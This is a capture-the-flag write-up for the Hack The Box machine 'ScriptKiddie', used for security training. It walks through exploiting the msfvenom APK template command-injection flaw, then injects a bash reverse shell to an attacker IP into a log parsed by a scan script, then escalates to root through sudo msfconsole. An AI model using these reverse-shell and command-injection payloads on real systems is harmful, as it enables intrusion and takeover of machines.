Information
Box#
- Name: ScriptKiddie
- Profile: www.hackthebox.eu
- Difficulty: Easy
- OS: Linux
- Points: 20
Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap metasploit pwncat
Note: IP is different because of release arena (10.10.10.226)
Network enumeration#
Port and service scan with nmap:
# Nmap 7.91 scan initiated Mon Feb 8 19:00:29 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.129.77.135
Nmap scan report for 10.129.77.135
Host is up (0.029s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods:
|_ Supported Methods: POST HEAD GET OPTIONS
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 8 19:00:54 2021 -- 1 IP address (1 host up) scanned in 25.42 seconds
Web exploitation#
A python web server (Werkzeug) is running at http://10.129.77.135:5000/.
The page is named k1d'5 h4ck3r t00l5
and allow us to use some commands:
- nmap: nmap
- payloads: msfvenom from metasploit
- sploits: searchploit from exploit-db
On the msfvenom, we have the option to upload a custom template.
But there is a new vulnerability:
This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this module is a relatively empty yet valid-enough APK file. To trigger the vulnerability, the victim user should do the following: msfvenom -p android/<...> -x <crafted_file.apk>
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > options
Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[+] msf.apk stored at /home/noraj/.msf4/local/msf.apk
Then we select android
, specify our template and set whatever a lhost.
On our machine we just launch a listener:
$ pwncat -l 4444 -vv
INFO: Listening on :::4444 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:4444 (family 2/IPv4, TCP)
INFO: Client connected from 10.129.77.135:43478 (family 2/IPv4, TCP)
id
uid=1000(kid) gid=1000(kid) groups=1000(kid)
System exploitation#
Let's see where we are and locate the flag:
$ ls -lhA
total 20K
drwxrwxr-x 2 kid kid 4.0K Feb 3 07:40 __pycache__
-rw-rw-r-- 1 kid kid 4.4K Feb 3 11:03 app.py
drwxrwxr-x 3 kid kid 4.0K Feb 3 07:40 static
drwxrwxr-x 2 kid kid 4.0K Feb 3 07:40 templates
$ pwd
/home/kid/html
$ ls -lhA ..
total 52K
lrwxrwxrwx 1 root kid 9 Jan 5 20:31 .bash_history -> /dev/null
-rw-r--r-- 1 kid kid 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 kid kid 3.7K Feb 25 2020 .bashrc
drwxrwxr-x 3 kid kid 4.0K Feb 3 07:40 .bundle
drwx------ 2 kid kid 4.0K Feb 3 07:40 .cache
drwx------ 4 kid kid 4.0K Feb 3 11:49 .gnupg
drwxrwxr-x 3 kid kid 4.0K Feb 3 07:40 .local
drwxr-xr-x 9 kid kid 4.0K Feb 3 07:40 .msf4
-rw-r--r-- 1 kid kid 807 Feb 25 2020 .profile
drwx------ 2 kid kid 4.0K Feb 3 07:40 .ssh
-rw-r--r-- 1 kid kid 0 Jan 5 11:10 .sudo_as_admin_successful
drwxrwxr-x 5 kid kid 4.0K Feb 3 11:03 html
drwxrwxrwx 2 kid kid 4.0K Feb 3 07:40 logs
drwxr-xr-x 3 kid kid 4.0K Feb 3 11:48 snap
-r-------- 1 kid kid 33 Jan 5 20:45 user.txt
$ cat ../user.txt # /home/kid/user.txt
4cbc14d5ba8c34df90ed21bdd840708a
Elevation of privilege (EoP): from kid to pwn#
Let's find if there is another user flag:
kid@scriptkiddie:~$ find / -name user.txt -type f 2>/dev/null
/home/kid/user.txt
No there isn't. But we can loot kid's private key to have a better shell.
$ chmod 600 id_rsa_kid
$ ssh kid@10.129.77.135 -i id_rsa_kid
Note: has been patched, there is no longer some ssh key but we can add ours:
printf %s 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINDGLndVd+2+y7FE7nVTrMtBvPiLNTMgObVw8s7d9B8n noraj@penarch' >> /home/kid/.ssh/authorized_keys
.
There is another user named pwn
owning a script: /home/pwn/scanlosers.sh
.
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
We have write access to /home/kid/logs/hackers
. We can see that our date and
IP is written to this file when we try to bypass the searchploit function:
/home/kid/html/app.py
import datetime
import os
import random
import re
import subprocess
import tempfile
import time
from flask import Flask, render_template, request
from hashlib import md5
from werkzeug.utils import secure_filename
regex_ip = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')
OS_2_EXT = {'windows': 'exe', 'linux': 'elf', 'android': 'apk'}
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def index():
if request.method == 'GET' or not 'action' in request.form:
return render_template('index.html')
elif request.form['action'] == 'scan':
return scan(request.form['ip'])
elif request.form['action'] == 'generate':
return venom(request)
elif request.form['action'] == 'searchsploit':
return searchsploit(request.form['search'], request.remote_addr)
print("no valid action")
return request.form
def scan(ip):
if regex_ip.match(ip):
if not ip == request.remote_addr and ip.startswith('10.10.1') and not ip.startswith('10.10.10.'):
stime = random.randint(200,400)/100
time.sleep(stime)
result = f"""Starting Nmap 7.80 ( https://nmap.org ) at {datetime.datetime.utcnow().strftime("%Y-%m-%d %H:%M")} UTC\nNote: Host seems down. If it is really up, but blocking our ping probes, try -Pn\nNmap done: 1 IP address (0 hosts up) scanned in {stime} seconds""".encode()
else:
result = subprocess.check_output(['nmap', '--top-ports', '100', ip])
return render_template('index.html', scan=result.decode('UTF-8', 'ignore'))
return render_template('index.html', scanerror="invalid ip")
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
def venom(request):
errors = []
file = None
if not 'lhost' in request.form:
errors.append('lhost missing')
else:
lhost = request.form['lhost']
if not regex_ip.match(lhost):
errors.append('invalid lhost ip')
if not 'os' in request.form:
errors.append('os missing')
else:
tar_os = request.form['os']
if tar_os not in ['windows', 'linux', 'android']:
errors.append(f'invalid os: {tar_os}')
if 'template' in request.files and request.files['template'].filename != '':
file = request.files['template']
if not ('.' in file.filename and file.filename.split('.')[-1] == OS_2_EXT[tar_os]):
errors.append(f'{tar_os} requires a {OS_2_EXT[tar_os]} ext template file')
else:
template_name = secure_filename(file.filename)
template_ext = file.filename.split('.')[-1]
template_file = tempfile.NamedTemporaryFile('wb', suffix='.'+template_ext)
file.save(template_file.name)
else:
template_name = "None"
if errors:
return render_template('index.html', payloaderror='<br/>\n'.join(errors))
payload = f'{tar_os}/meterpreter/reverse_tcp'
outfilename = md5(request.remote_addr.encode()).hexdigest()[:12] + '.' + OS_2_EXT[tar_os]
outfilepath = os.path.join(app.root_path, 'static', 'payloads', outfilename)
try:
if file:
print(f'msfvenom -x {template_file.name} -p {payload} LHOST={lhost} LPORT=4444')
result = subprocess.check_output(['msfvenom', '-x', template_file.name, '-p',
payload, f'LHOST={lhost}', 'LPORT=4444',
'-o', outfilepath])
template_file.close()
else:
result = subprocess.check_output(['msfvenom', '-p', payload,
f'LHOST={lhost}', 'LPORT=4444', '-o', outfilepath])
except subprocess.CalledProcessError:
return render_template('index.html', payloaderror="Something went wrong")
return render_template('index.html', payload=payload, lhost=lhost,
lport=4444, template=template_name, fn=outfilename)
if __name__ == '__main__':
app.run(host='0.0.0.0')
So normally /home/pwn/scanlosers.sh
will scan us back.
The logs file should contains lines like this one:
2021-02-08 19:54:33.513581 1.1.1.1
And when we try to "hack" searchploit, it voids the file instead of appending a new line.
There is /usr/sbin/incrond
running so there is maybe a root job starting
/home/pwn/scanlosers.sh
or something similar.
Let's upload and launch pspy to confirm that.
On our machine:
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
$ ruby -run -ehttpd . -p8080
On the target machine:
kid@scriptkiddie:~$ wget http://10.10.14.135:8080/pspy64
kid@scriptkiddie:~$ chmod u+x pspy64
kid@scriptkiddie:~$ ./pspy64
If we go trigger the searchsploit security filter we can see this on pspy:
2021/02/08 21:30:37 CMD: UID=1001 PID=2221 | /bin/bash /home/pwn/scanlosers.sh
2021/02/08 21:30:37 CMD: UID=1001 PID=2225 | /bin/bash /home/pwn/scanlosers.sh
2021/02/08 21:30:37 CMD: UID=1001 PID=2226 | sh -c nmap --top-ports 10 -oN recon/10.10.14.135.nmap 10.10.14.135 2>&1 >/dev/null
2021/02/08 21:30:37 CMD: UID=1001 PID=2228 | nmap --top-ports 10 -oN recon/10.10.14.135.nmap 10.10.14.135
2021/02/08 21:30:37 CMD: UID=1001 PID=2231 | /bin/bash /home/pwn/scanlosers.sh
2021/02/08 21:30:37 CMD: UID=1001 PID=2237 | /bin/bash /home/pwn/scanlosers.sh
2021/02/08 21:30:37 CMD: UID=1001 PID=2236 | /bin/bash /home/pwn/scanlosers.sh
2021/02/08 21:30:37 CMD: UID=0 PID=2238 | /lib/systemd/systemd-udevd
2021/02/08 21:30:48 CMD: UID=0 PID=2239 | /usr/sbin/incrond
2021/02/08 21:30:48 CMD: UID=1001 PID=2240 | sed -i s/open /closed/g /home/pwn/recon/sed6xfScv
2021/02/08 21:30:48 CMD: UID=0 PID=2241 | /bin/sh /sbin/dhclient-script
2021/02/08 21:30:48 CMD: UID=??? PID=2243 | ???
1001 is the id of pwn
, so we'll get a shell as pwn.
Let's craft a reverse shell payload and put it in place:
$ printf %s "noraj noraj ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.135/9999 0>&1' #" > /home/kid/logs/hackers
Note: respect the log format else the cut
in the script will fails to parse
Once injected in /home/pwn/scanlosers.sh
the command executed by pwn incron
job will be:
nmap --top-ports 10 -oN recon/ ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.135/9999 0>&1' #.nmap ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.135/9999 0>&1' # 2>&1 >/dev/null
Then we start a listener pwncat -l 9999 -vv
.
Elevation of privilege (EoP): from pwn to root#
We can root msfconsole
as root.
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
It will be EZ because we it's an interpretter where we can directly pass
system commands or open irb
ruby interpreter.
msf6 > cat /root/root.txt
stty: 'standard input': Inappropriate ioctl for device
[*] exec: cat /root/root.txt
40aa7274fd70bacc2ade0054b081475f